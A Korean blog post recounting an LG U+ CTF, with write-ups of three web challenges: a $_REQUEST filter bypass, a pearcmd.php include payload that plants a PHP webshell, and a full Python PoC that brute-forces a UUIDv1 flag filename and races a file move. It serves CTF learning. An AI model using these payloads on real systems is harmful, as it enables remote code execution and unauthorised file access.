이번에 LG U+에서 열린 CTF를 참가해서 본선까지 갔다왔다
예선은 어찌저찌 좋은 순위로 마감쳐서 본선에 갔었는데 본선에서 탈탈 털려버렸다....
잠시 한탄을 하자면 본선에서 웹 3문제가 나왔는데 젤 어려운 문제를 처음부터 잡아서 나머지 웹이나 Misc 문제를 별로 못본게 너무너무 아쉽다.
진짜 0솔짜리 하나만 풀었어도 순위권 가는거였는데..ㅠㅠ
뭐 아직 실력이 부족한 탓이겠지...
예선
예선은 온라인으로 09:00~18:00까지 진행했다.
예선 문제 Writeup은 Writeup제출 당시 적은걸로 대체하겠다.
저거 Writeup에서 martini 문제풀이 부분에 session cookie값이 같으면 secret값도 같다고 되어있는데
다시 생각해보니깐 그건 아닌거 같고 걍 리모트랑 문제파일 secret값을 같은거 써서 문제파일로 돌리고 쿠키값 똑같이 가져다 써도 잘 인식됐던 것 같다.
사실 예선때 web문제(Sleep)하나를 1솔 냈어서 자신감이 업되어있는 상태로 본선을 가게 됐다.
본선
머기업이라 그런지 본선 진행 장소나 운영 및 굿즈 등은 너무 만족했다.
심지어 무탠다드에서 만든 후드티도 받았다..ㄷㄷ
그리고 노트북 파우치도 준다했었는데 정신없어서 깜빡하고 못받았다ㅠㅠ
대회 팀 로고도 제출하라고 했었는데 개그컨셉으로 짱구 오프닝 사진을 박아놨다
본선은 예선이랑 비슷하게 9:30~16:30 까지 진행했고(사실 예선보다 2시간적음) 포렌식이랑 AI 등의 misc도 나왔는데 나는 Web밖에 안봤다
웹은 아까 말했다시피 총 3문제가 나왔고 난이도는 체감상 중, 중상, 상 인 것 같았다.
가장 쉬운문제는 4솔이었고 나머지 2문제는 0솔이었다.
근데 하필 젤 어려운 문제를 먼저봐서 시간 다뺐기고 끝나기 30분전에 중짜리 문제 하나 풀고 끝냈다 ㅠㅠ
결국 6위까지 상이었는데 처참하게 9위 해버리고 굿즈만 갖고 집에 갔다....
본선 문제 Writeup이다.
1. Page
요 문제는 대회 끝나기 한시간 전에 솔버가 젤 많길래 뭐지 하고 잠깐봤다가 30분컷 낸 문제이다.
일단 php로 만들어져 있었고 HTML, JS, CSS를 만들 수 있는 기능이 있었다.
그리고 뭐 코드가 되게 많았는데 핵심 코드만 보면은 아래 코드에서 파일을 만들때 html, js, css파일로 필터링을 걸고 있었다.
그런데 어? 어디서 많이 본 코드들이 있다.
$_REQUEST로 필터링을 거고 막상 type 입력받는건 POST였다.
예전에 작성한 CCE writeup중에 Advanced Login System포스트를 보면은 똑같은 유형의 문제가 올라와있을 것이다.
$_REQUEST는 GET, POST, COOKIE로 지정할 수 있는데 우선순위가 COOKIE로 젤 먼저 받는걸로 되어있기에 COOKIE에다가 js같은 정상적인 얘를 박아두고 POST에는 php를 넣으면은 정상적으로 필터링 우회가 되면서 php파일을 작성할 수 있다.
뭐 이후엔 php 코드 작성 후 확인하면은 끝이다.
2. No more backdoor
하... 얘는 솔직히 말하면 뒤에 문제 푸느라 제대로 못봤다.
솔직히 뒤에 문제 안보고 얘만 봤으면 풀었을 것 같다.
코드는 매우매우 간단하다.
<?php
ini_set("session.upload_progress.enabled", "Off"); // No Backdoor
extract($_GET); // Gift For u
if (isset($file)) {
if (count_chars($file,1)[124] > 5) { // No filter chain
die("No hack!!");
}
if (preg_match("/^(zip:|compress\.:|http:|ftp:|phar:|glob:|file:)|fd|filter/i",$file)) { // i hate PHP wrappers
die("No hack!!");
}
include($file);
}
?>
이게 끝이다.
내가 매우매우 좋아하는 php include 문제이다.
일단 wrapper는 당연히 못쓰고 session upload_progress까지 막아두고 php filter chain도 사용 못하게 파이프 문자를 5번 이내로 제한시켜놨다.
그러면 남은건? pearcmd.php이다.
pearcmd는 php모듈이 설치되면서 같이 설치되는 파일 중 하나인데 이 pearcmd.php파일을 사용해서 웹쉘을 업로드 할 수 있다.
https://book.hacktricks.xyz/pentesting-web/file-inclusion
여기에 자세하게 나와있다.
일단 경로는 /usr/local/lib/php/pearcmd.php이고 위의 post에선 쿼리스트링으로 argv를 주고 있는데 여기선 그렇게 못한다.
내가 알기로 위의 시도는 php 7.3버전인가에 패치되었기 때문이다.
냅다 이렇게 argv선언 안되어있다고 뭐라 한다.
그런데 여기서 코드에 extract함수가 있었다.
사실 얘갖고 뭐하라는거지 해서 걍 포기했는데 자세히 생각해보니깐 extract로 argv 변수 만들어서 선언해 줄 수 있었다.
하..... 좀만 더했으면 알아냈을 것 같은데...
뭐 여튼 extract활용해서 argv에다가 각각 payload넣고 돌리면 webshell upload가 된다.
http://localhost/?file=/usr/local/lib/php/pearcmd.php&argv[0]=aaaaaaaaaa&argv[1]=config-create&argv[2]=/HERE/%3C?php%20system(%22/readflag%22)?%3E&argv[3]=/tmp/b.php
이러고 걍 /tmp/b.php가서 읽어오면 끝이다.
젠장
3. web storage
얠 오전 9시반부터 봐서 16시반까지 봤는데 못풀었다
사실상 가망 없으면 때려치웠겠지만 다른거 다 우회하고 나머지 하나만 구하면 되가지고 쩔쩔매다가 끝나버렸다...
먼저 기능을 사용하려면 저 해쉬값을 맞춰야 한다.
근데 요거는 단순히 브루트포스 때리면 되가지고 아래와 같이 코드를 짜서 해결했다.
import hashlib
import os
def find_suffix_for_hash(starting_string, difficulty=6):
target_prefix = '0' * difficulty
attempts = 0
while True:
attempts += 1
# Generate a random suffix
suffix = os.urandom(16).hex()
# Combine the starting string with the suffix
combined = starting_string + suffix
hash_result = hashlib.sha256(combined.encode()).hexdigest()
# Check if hash starts with the target prefix
if hash_result.startswith(target_prefix):
return {
"startingString": starting_string,
"suffix": suffix,
"hash": hash_result,
"attempts": attempts
}
# Define the starting string
starting_string = "d10741e81b659d4dc1691af593551f0a"
# Find a valid suffix
result = find_suffix_for_hash(starting_string, difficulty=6)
# Output the result
print("Solution found:")
print(f"Starting String: {result['startingString']}")
print(f"Suffix: {result['suffix']}")
print(f"Hash: {result['hash']}")
print(f"Attempts: {result['attempts']}")
그 다음엔 Storage files 기능과 Trash bin 기능을 사용할 수 있다.
코드가 좀 많긴한데 코드는 다음과 같다.
// index.js
const express = require('express');
const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');
const app = express();
const port = process.env.PORT || 30000;
const { createChallenge, verifySolution } = require('./utils/pow');
const db = require('./utils/mongo');
const uuidValidatorMiddleware = require('./middlewares/validateUUID');
const session = require('express-session');
const MemoryStore = require('memorystore')(session);
const crypto = require('crypto');
const {
enqueue,
dequeue,
peek,
isEmpty,
size,
clear
} = require('./utils/queue');
const {
flagFilename,
initIsolatedStorage
} = require('./utils/initIsolatedStorage');
const { rateLimit } = require('express-rate-limit');
const fs = require('fs');
const { findOne, updateOne, deleteOne, find } = require('./utils/dbConfig');
app.use(
session({
secret: crypto.randomBytes(32).toString('hex'),
resave: false,
saveUninitialized: true
})
);
app.use(
rateLimit({
windowMs: 1000 * 60 * 10,
limit: 18000,
legacyHeaders: false
})
);
app.use(express.json());
app.use(cookieParser());
app.use(bodyParser.urlencoded({ extended: false }));
let startTime = initIsolatedStorage();
app.set('view engine', 'ejs');
app.set('views', './views');
app.get('/', (req, res) => {
res.render('index', { startTime: startTime });
});
app.get('/create-challenge', createChallenge);
app.post('/solve-pow', verifySolution);
app.use('/:uuid/f', uuidValidatorMiddleware, require('./routes/files'));
app.use('/:uuid/t', uuidValidatorMiddleware, require('./routes/trashbins'));
db.mongoose
.connect(db.url, {
useNewUrlParser: true,
useUnifiedTopology: true
})
.then(() => {
console.log('Connected to the database!');
})
.catch(err => {
console.log('Cannot connect to the database!', err);
process.exit();
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
setInterval(async () => {
const ids = [];
try {
while (!isEmpty()) {
const id = dequeue();
console.log(id);
found = await findOne({ _id: id });
console.log(found);
if (found) {
await updateOne({ _id: id }, { uuid: 'isolated_storage' });
const path = `/tmp/isolated_storage/${found.filename}`;
if (!fs.existsSync(path)) {
fs.renameSync(`/tmp/${found.uuid}/${found.filename}`, path);
}
ids.push(id);
}
}
await new Promise(resolve => setTimeout(resolve, 500));
while (ids.length != 0) {
const id = ids.shift();
found = await findOne({ _id: id });
if (found) {
await deleteOne(id);
// do not delete falag file :/
if (found.filename == flagFilename) {
continue;
}
const path = `/tmp/${found.uuid}/${found.filename}`;
if (fs.existsSync(path)) fs.unlinkSync(path);
}
}
} catch (err) {
console.log(err);
}
}, 1000);
// file.js
const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');
const router = express.Router({ mergeParams: true });
const { create, find, updateOne } = require('../utils/dbConfig');
const ensureDirExists = (path) => {
if (!fs.existsSync(path)) {
fs.mkdirSync(path, { recursive: true });
}
}
const storage = multer.diskStorage({
destination: function (req, file, cb) {
const { uuid } = req.params;
const uploadPath = path.join('/tmp', uuid);
ensureDirExists(uploadPath);
cb(null, uploadPath);
},
filename: function (req, file, cb) {
cb(null, file.originalname);
}
});
const upload = multer({
storage: storage,
limits: { fileSize: 1024 }
});
router.get('/', async (req, res) => {
const { uuid } = req.params;
try {
const files = await find({ uuid: uuid, status: 0 });
res.render('files', { uuid: req.params.uuid, current: 'f', files: files });
} catch (error) {
console.error("Error fetching files:", error);
res.status(500).send({ message: "Failed to fetch files" });
}
});
router.delete('/', async (req, res) => {
const { filenames } = req.body;
const { uuid } = req.params;
try {
for (const filename of filenames) {
out = await updateOne({ filename: filename, uuid: uuid }, { status: 1 });
}
res.status(200).send('All files deleted successfully!');
} catch (error) {
console.error("Error updating file status:", error);
res.status(500).send({ message: "Failed to delete files" });
}
});
router.get('/:fileId', async (req, res) => {
const { fileId } = req.params;
const file = await find({ _id: fileId });
if (file.length === 0) {
return res.status(404).send({ message: 'File not found' });
}
const filePath = path.join('/tmp', file[0].uuid, file[0].filename);
fs.readFile(filePath, 'utf8', (err, data) => {
if (err) {
return res.status(500).send({ message: "Failed to read file" });
}
return res.status(200).send(data);
});
})
router.post('/', upload.single('file'), async (req, res) => {
if (!req.file) {
return res.status(400).send('No file uploaded.');
}
const { uuid } = req.params;
const filename = req.file.originalname;
try {
const found = await find({ uuid: uuid, filename: filename });
if (found.length !== 0) {
return res.status(400).send('File already exists');
}
if (!req.session.count) {
req.session.count = 1;
} else {
req.session.count++;
}
if (req.session.count > 15) {
return res.status(500).send({ message: "Too many files" });
}
await create({ uuid: uuid, filename: filename });
const found2 = await find({ uuid: uuid, filename: filename });
res.status(200).send({ message: 'File uploaded successfully!', id: found2[0]._id });
} catch (error) {
console.error("Error uploading file:", error);
res.status(500).send({ message: "Failed to upload file" });
}
});
router.patch('/:fileId', async (req, res) => {
const { fileId } = req.params;
const newFileName = req.body.newFileName;
if (typeof newFileName !== 'string' || newFileName.length === 0 || newFileName.includes('/')) {
return res.status(400).send('Invalid newFileName');
}
const file = await find({ _id: fileId, status: 0 });
if (file.length === 0) {
return res.status(404).send('File not found');
}
await updateOne({ _id: fileId }, { filename: newFileName })
const filePath = path.join('/tmp', file[0].uuid, file[0].filename);
const newFilePath = path.join('/tmp', file[0].uuid, newFileName);
const storageFilePath = path.join('/tmp', 'isolated_storage', newFileName);
if (fs.existsSync(newFilePath) || fs.existsSync(storageFilePath))
return res.status(400).send('File already exists');
fs.rename(filePath, newFilePath, (err) => {
if (err) {
console.error("Error renaming file:", err);
return res.status(500).send({ message: "Failed to rename file" });
}
res.status(200).send('File renamed successfully!');
});
})
module.exports = router;
// trashbins.js
const express = require('express');
const router = express.Router({ mergeParams: true });
const { enqueue } = require('../utils/queue');
const { find, findOne, updateOne } = require('../utils/dbConfig');
router.get('/', async (req, res) => {
const { uuid } = req.params;
const files = await find({ uuid: uuid, status: 1 });
res.render('trashes', { uuid: req.params.uuid, current: 't', files: files });
});
router.delete('/', async (req, res) => {
const { filenames } = req.body;
const { uuid } = req.params;
for (const filename of filenames) {
const file = await findOne({ uuid: uuid, filename: filename, status: 1 });
if (file && file.length !== 0) {
await updateOne({ filename: filename }, { status: 2 });
const { _id } = file;
console.log(_id);
enqueue(_id.toHexString());
}
}
res.status(200).send('All files deleted successfully!');
});
module.exports = router;
먼저 Storage files에서는 아무 file이나 업로드할 수 있다.
그리고 삭제할 파일을 선택 후 delete버튼을 누르면 Trash bins로 파일이 가지게 되고 trash bins에서 remove를 누르면 완전히 삭제가 된다.
언뜻보면 그냥 평범한 기능이지만 코드를 보면 의심쩍은 부분을 찾을 수 있다.
위는 trashbin 코드의 일부인데 파일을 삭제할 때 이 파일을 queue에 넣는다.
그리고 index.js에 가보면은 queue를 사용하는 걸 확인할 수 있다.
setInterval(async () => {
const ids = [];
try {
while (!isEmpty()) {
const id = dequeue();
console.log(id);
found = await findOne({ _id: id });
console.log(found);
if (found) {
await updateOne({ _id: id }, { uuid: 'isolated_storage' });
const path = `/tmp/isolated_storage/${found.filename}`;
if (!fs.existsSync(path)) {
fs.renameSync(`/tmp/${found.uuid}/${found.filename}`, path);
}
ids.push(id);
}
}
await new Promise(resolve => setTimeout(resolve, 500));
while (ids.length != 0) {
const id = ids.shift();
found = await findOne({ _id: id });
if (found) {
await deleteOne(id);
// do not delete falag file :/
if (found.filename == flagFilename) {
continue;
}
const path = `/tmp/${found.uuid}/${found.filename}`;
if (fs.existsSync(path)) fs.unlinkSync(path);
}
}
} catch (err) {
console.log(err);
}
}, 1000);
매 시간마다 queue에 파일이 있는지 확인하고 queue에 파일이 있으면은 해당 파일이름과 똑같은 이름의 파일을 isolated_storage에서 내 uuid 폴더로 잠깐 옮겨 오고 0.5초 뒤에 삭제해버린다.
현재 내가 접근 가능한 폴더는 /tmp/내uuid폴더이고 flag는 /tmp/isolated_storage에 있으니 만약 flag이름과 똑같은 이름으로 파일을 만든 후에 삭제를 한다면?
flag파일이 0.5초동안 내 /tmp/uuid 폴더에 복사가 되었다가 삭제될 것이다.
그 0.5초 안에 파일을 읽어오면 끝이다.
그렇다면 flag파일의 파일명은 어떻게 되어있을까?
// initIsolatedStorage.js
const fs = require('fs');
const os = require('os');
const v1 = require('uuid').v1;
const FLAG = process.env.FLAG || 'FLAG{this_is_flag}';
const timestamp = Date.now();
const options = {
node: os
.networkInterfaces()
.eth0[0].mac.split(':')
.map(hex => parseInt(hex, 16)),
msecs: timestamp
};
const flagFilename = v1(options);
console.log(timestamp);
const initIsolatedStorage = () => {
const dir = '/tmp/isolated_storage';
if (!fs.existsSync(dir)) {
fs.mkdirSync(dir);
}
console.log('filename', flagFilename);
fs.writeFileSync(`${dir}/${flagFilename}`, FLAG);
return timestamp;
};
module.exports = {
initIsolatedStorage,
flagFilename
};
해당 코드는 flag파일을 만드는 코드이다.
보면은 uuid v1형식인데 uuid v1은 mac 주소와 timestamp를 가지고 생성한다.
그래서 node에 mac주소를 넣고 msecs에 timestamp를 넣어서 만드는걸 확인 가능하다.
예를 들어 fbbd4fb0-b2d9-11ef-9c6a-0242ac10ee03 요런 형식으로 저장이 된다.
그리고 uuid v1형식은 브루트포스에 취약하다.여기서 좀 막혔던게 mac 주소는 어떻게 알것이며 mac주소를 알아낸다 해도 clockseq에 의해 uuid v1형식의 문자열은 매번 달라진다.일단 timestamp는 맨 처음 main화면에 나와있다.
https://ctftime.org/writeup/36173
그리고 위 롸업과 여러 정보를 찾아 보면은 uuid v1에 대해 알 수 있는 정보가 몇가지 있다.
일단 uuid v1형식은 대충 453db2a0-baab-11ef-aece-0242ac10ee03 요걸 예로 들겠다.
1. 뒤의 0242ac10ee03 요 12자리는 mac주소에 의한 것인데 mac주소는 다음과 같이 파악이 가능하다.
일단 mac주소의 상위 3바이트는 도커에서 02:42:ac로 고정되어있고 하위 3바이트는 내부 아이피에 따라 달라진다.
그러나 docker-compose.yml파일에서 내부 ip를 명시해 주었기에 리모트의 맥주소도 로컬에서 돌렸을때의 도커 맥주소와 일치할 것이다.
// docker-comopose.yml 일부
networks:
app_net:
driver: bridge
ipam:
driver: default
config:
- subnet: 172.16.238.0/24
gateway: 172.16.238.1
2. 453db2a0-baab-11ef 요 16바이트는 timestamp가 일치하면 똑같기 때문에 신경쓸 필요가 없다.
3. 즉 가운데에 aece 요 4비트만 신경쓰면 되는데 요건 clockseq에 따라 달라진다.
clockseq는 매번 바뀌는데 2진수 16비트로 이루어져있다.
여기서 상위 1,2비트는 10으로 고정되어있기에
10xxxxxxxxxxxxxx 이렇게 하위 14비트만 변경된다.
이렇게 되면 clockseq의 범위는 16진수로 0x8000 ~ 0xbffff 이기 때문에 이는 충분히 bruteforce로 찾을만한다.
그리고 코드를 보면은 파일이름을 patch해서 이미 있는 파일인지 확인하는게 있는데 요걸 통해서 bruteforce로 flagfile과 이름이 똑같은지 찾을 수 있다.
아래는 uuidv1 bruteforce + 다른거 전부 다 합친 최종 poc코드이다. (snwo님 문제 출제자분 poc인데 문제 시 삭제하겠습니다.)
import requests
import hashlib
from bs4 import BeautifulSoup
from concurrent.futures import ThreadPoolExecutor, as_completed
import time
import os
def check_flag_file(session, url, uuid, flag_file_id):
response = session.get(f'{url}/{uuid}/f/{flag_file_id}')
return response.text
def check_flag_files_concurrently(session, url, uuid, flag_file_id, num_requests=500):
with ThreadPoolExecutor(max_workers=num_requests) as executor:
futures = [executor.submit(check_flag_file, session, url, uuid, flag_file_id) for _ in range(num_requests)]
for future in as_completed(futures):
text = future.result()
#print("thread",text)
if 'lguplus2024' in future.result():
print(f"Flag in thread: {future.result()}")
return text
elif 'File not found' in text:
print(f"File not found in thread: {future.result()}")
return text
return 'nop'
def move_to_trash(session, url, uuid, filenames):
response = session.delete(url + '/' + uuid + '/f', json={"filenames": filenames})
response = session.delete(url + '/' + uuid + '/t', json={"filenames": filenames})
print(f"Move to trash response: {response.text}")
def solve_pow(challenge, difficulty):
for i in range(1000000000000000):
a = str(i).encode()
if hashlib.sha256(challenge.encode()+a).hexdigest().startswith("0"*difficulty):
return a.decode()
def bruteforce_flagfile(session, url,uuid, seed=0):
with open("./test.txt","w") as f:
f.write("Dummy data")
with open("./test.txt","rb") as f:
files = {"file": f}
r = session.post(f'{url}/{uuid}/f', files=files).json()
_id = r['id']
print(f"ID: {_id}")
r = session.get(f'{url}')
soup = BeautifulSoup(r.text, 'html.parser')
text = soup.find('div', class_='server-start-time').text
timestamp = int(text.split(' ')[-1])
print(f"Timestamp: {timestamp}")
timestamp += 12219292800000
timestamp *= 10000
mac = "0242ac10ee03"
first = timestamp % 0x100000000
second = timestamp >> 32 & 0xffff
third = timestamp >> 48 & 0xffff
template = f"{first:08x}-{second:04x}-{third+0x1000:04x}-%s-{mac}"
print(f"Template: {template}")
start = (1<<14)-1 if seed == 0 else seed
for i in range(start, -1, -1):
candidate = template % f"{i+(1<<15):04x}"
r = session.patch(f'{url}/{uuid}/f/{_id}', json={"newFileName": candidate})
print(f"\rTrying: {candidate}, Response: {r.status_code}",end="")
if r.status_code == 400:
print(f"\nFlag file: {candidate}")
return _id, candidate, i
print("?")
exit(0)
# r = session.post()
def main(seed=0):
url = 'http://3.35.55.13:30000'
s = requests.Session()
r = s.get(url + '/create-challenge')
print(r.text)
print(r.status_code)
challenge_response = r.json()
print(f"main seed: {seed}")
print(f"Challenge: {challenge_response['challenge']}")
solution = solve_pow(challenge_response['challenge'], challenge_response['difficulty'])
print(f"Solution: {solution}")
r = s.post(url + '/solve-pow', json={"solution": solution})
uuid = r.json()['uuid']
print(f"UUID: {uuid}")
flag_file_id, flag_file_name, seed = bruteforce_flagfile(s,url, uuid, seed)
filenames = [f"test{i}.txt" for i in range(1, 14)]
for i, filename in enumerate(filenames, 1):
with open(filename, "w") as f:
f.write("Dummy data")
with open(filename, "rb") as f:
r = s.post(url + '/' + uuid + '/f', files={'file': f}).json()
os.remove(filename)
filenames.append(flag_file_name)
move_to_trash(s, url, uuid, filenames)
out = check_flag_files_concurrently(s, url, uuid, flag_file_id, num_requests=60)
print("thread out", out)
if 'lguplus2024' in out:
return (0, seed)
if 'File not found' in out:
return (1, seed)
for _ in range(60):
r = check_flag_file(s, url, uuid, flag_file_id)
# print('main',r)
if 'lguplus2024' in r:
print(f"Flag in main: {r}")
return (0, seed)
elif 'File not found' in r:
print(f"File not found in main: {r}")
return (1, seed)
else:
print("main out nop")
return (1, seed)
if __name__ == '__main__':
seed = 0
start = time.time()
while True:
print("====================================")
res, seed = main(seed)
print("Result: ",res, seed)
print("====================================")
if res == 0:
break
print("Time taken: ", time.time()-start)
uuid v1을 bruteforce하는 문제는 저번 google ctf에서도 나왔다고 하니 유용하게 쓰일것 같다.
'Web Hacking > WriteUp' 카테고리의 다른 글
SECCON CTF 13 Quals 2024 Web Writeup (1) | 2024.11.26 |
---|---|
Buckeye CTF 2024 instructions Writeup (0) | 2024.10.01 |
ASIS CTF 2024 Web Writeup (0) | 2024.09.22 |
WhiteHat School 2nd CTF SSH Tunneling Final Writeup (0) | 2024.09.05 |
Project Sekai CTF 2024 Web Writeup (0) | 2024.08.24 |